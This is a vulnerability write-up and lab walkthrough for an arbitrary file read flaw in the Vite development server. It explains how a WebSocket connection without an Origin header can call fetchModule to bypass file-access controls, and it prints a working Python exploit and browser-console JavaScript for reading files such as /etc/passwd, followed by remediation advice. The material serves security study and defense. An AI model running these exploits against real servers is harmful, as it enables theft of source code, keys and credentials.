CVE-2026-39363

🎯 Vulnerability Overview

CVE-2026-39363 is a critical arbitrary file read vulnerability affecting the Vite development server. Under certain conditions, it allows an attacker to bypass the server.fs file system access controls via a WebSocket connection, reading arbitrary files on the server — such as source code, environment variables, SSH private keys, and other sensitive information. It carries a CVSS score of 8.2 (High).

Affected Scope

• Affected Versions:
• • 6.0.0 <= Vite < 6.4.2
  • 7.0.0 <= Vite < 7.3.2
  • 8.0.0 <= Vite < 8.0.5
  • vite-plus <= 0.1.15
• Patched Versions:
• • Vite >= 6.4.2
  • Vite >= 7.3.2
  • Vite >= 8.0.5
  • vite-plus >= 0.1.16
• Exploitation Prerequisites:
• 1. Server Exposure: The developer explicitly exposes the Vite development server to the network (e.g., by using --host or by configuring server.host).
  2. WebSocket Enabled: The WebSocket feature is not disabled via server.ws: false.

🔬 In-Depth Vulnerability Analysis

Exploitation of this vulnerability involves three key steps.

1. Authentication Bypass: WebSocket Handshake Flaw

Vite's HMR (Hot Module Replacement) feature relies on WebSocket for bidirectional communication. The WebSocket service has a flaw in its authentication logic when handling connection requests:

• If the request includes an Origin header, token verification is performed.
• If the request does not include an Origin header, the connection is allowed directly.

This allows an attacker, using a custom script, to deliberately omit the Origin header during the WebSocket handshake, thereby easily bypassing authentication and establishing a connection.

2. RPC Invocation: Abusing the vite:invoke Event

Once the WebSocket connection is established, the attacker sends a custom vite:invoke event. This serves as a Remote Procedure Call (RPC) channel, allowing the client to invoke specific internal methods on the Vite server.

3. Core Flaw: fetchModule Lacks Access Control Enforcement

The attacker uses vite:invoke to call the dangerous fetchModule method. This method is responsible for fetching module content, but suffers from a serious issue:

• In an HTTP request, accessing a path like /@fs/etc/passwd is subject to the restrictions of the server.fs.allow configuration.
• However, calling fetchModule via WebSocket does not perform the same server.fs access control checks. This enables the attacker to directly use the file:// protocol with the ?raw or ?inline parameter to read arbitrary files.

💻 Vulhub Environment Setup & Reproduction

Vulhub provides a pre-built Docker environment for quickly setting up the vulnerable lab.

Environment Setup

1. Get the Environment: Clone the environment configuration from the official Vulhub GitHub repository.
   bash

   git clone --depth 1 https://github.com/vulhub/vulhub.git

2. Enter the Directory: Navigate into the vulnerability environment directory.
   bash

   cd vulhub/vite/CVE-2026-39363

3. Start the Environment: Launch with Docker Compose in one step.
   bash

   docker compose up -d

   Once the environment is running, visit http://your-ip:5173 to see the Vite welcome page.

Vulnerability Reproduction

Method 1: Python Script Exploitation (Fully Automated)

This is the most straightforward approach and is suitable for bulk detection or in-depth exploitation.

1. Install Dependencies: Install the Python websockets library.
   bash

   pip install websockets

2. Write the Exploit Script (exploit.py):

import asyncio
import websockets
import sys
import json

async def read_file(target_host, target_port, file_path):
    # 1. 构造 WebSocket URL，指定子协议 'vite-hmr'
    uri = f"ws://{target_host}:{target_port}"
    try:
        # 2. 连接 WebSocket，关键是不带 Origin 头
        async with websockets.connect(uri, extra_headers={}) as websocket:
            print(f"[*] 已连接到 {uri}")

            # 3. 构造恶意 payload，调用 fetchModule
            # 注意：file_path 后要加上 ?raw 参数来获取文件内容[reference:33]
            payload = {
                "type": "custom",
                "event": "vite:invoke",
                "data": {
                    "id": "send:1",
                    "name": "fetchModule",
                    "data": [f"file://{file_path}?raw"]
                }
            }

            # 4. 发送 payload
            await websocket.send(json.dumps(payload))
            print(f"[*] 已发送 payload，尝试读取: {file_path}")

            # 5. 接收并打印响应
            response = await websocket.recv()
            print(f"[+] 服务器响应:\n{response}")

    except Exception as e:
        print(f"[-] 发生错误: {e}")

if __name__ == "__main__":
    if len(sys.argv) != 4:
        print("用法: python exploit.py <目标IP> <端口> <文件路径>")
        print("示例: python exploit.py 192.168.1.100 5173 /etc/passwd")
        sys.exit(1)

    target_ip = sys.argv[1]
    target_port = sys.argv[2]
    file_to_read = sys.argv[3]
    asyncio.run(read_file(target_ip, target_port, file_to_read))

1. Run the Script
2. If successful, you will see the contents of the /etc/passwd file returned by the server.

python exploit.py 192.168.1.100 5173 /etc/passwd

Method 2: Manual Reproduction via Browser Developer Tools (F12)

This method is more visual and suitable for quick verification.

1. Open the Target Page: Navigate to the target Vite application page in your browser (e.g., http://<目标IP>:5173/).
2. Open Developer Tools: Press F12 on the page to open Developer Tools.
3. Switch to the Console Panel: In Developer Tools, click the "Console" tab at the top.
4. Enter and Execute JavaScript Code:

// 1. 定义目标地址和要读取的文件
const target = '192.168.1.100';
const port = '5173';
const fileToRead = '/etc/passwd';

// 2. 创建 WebSocket 连接，指定子协议 'vite-hmr'
const ws = new WebSocket(`ws://${target}:${port}`, 'vite-hmr');

// 3. 连接打开时发送恶意 payload
ws.onopen = () => {
    console.log('[*] WebSocket 连接已建立');
    const payload = {
        type: 'custom',
        event: 'vite:invoke',
        data: {
            id: 'send:1',
            name: 'fetchModule',
            data: [`file://${fileToRead}?raw`] // 关键：file:// 协议 + ?raw 参数[reference:36]
        }
    };
    ws.send(JSON.stringify(payload));
    console.log(`[*] 已发送 payload，尝试读取: ${fileToRead}`);
};

// 4. 接收并打印服务器响应
ws.onmessage = (event) => {
    console.log('[+] 服务器响应:', event.data);
};

// 5. 错误处理
ws.onerror = (error) => {
    console.error('[-] WebSocket 错误:', error);
};

Note: Due to browser security policy restrictions, you may encounter cross-origin or connection failure issues. This script is primarily intended to demonstrate the attack principle. In a real attack, the attacker would use tools like a Python script that provide full control over HTTP headers.

🛡️ Remediation & Defense

• Upgrade Immediately: This is the most fundamental solution. Upgrade Vite to a patched version (6.4.2, 7.3.2, 8.0.5 or higher).
• Never Expose the Development Server: Never expose the Vite development server directly on the public internet or in untrusted network environments. The development server should only be used on a local development machine.
• Network-Layer Access Control: If exposure is unavoidable, use firewalls or other network devices to strictly restrict access to port 5173 to trusted IPs only.
• Validate the WebSocket Origin: Verify the WebSocket Origin header through a reverse proxy or WAF.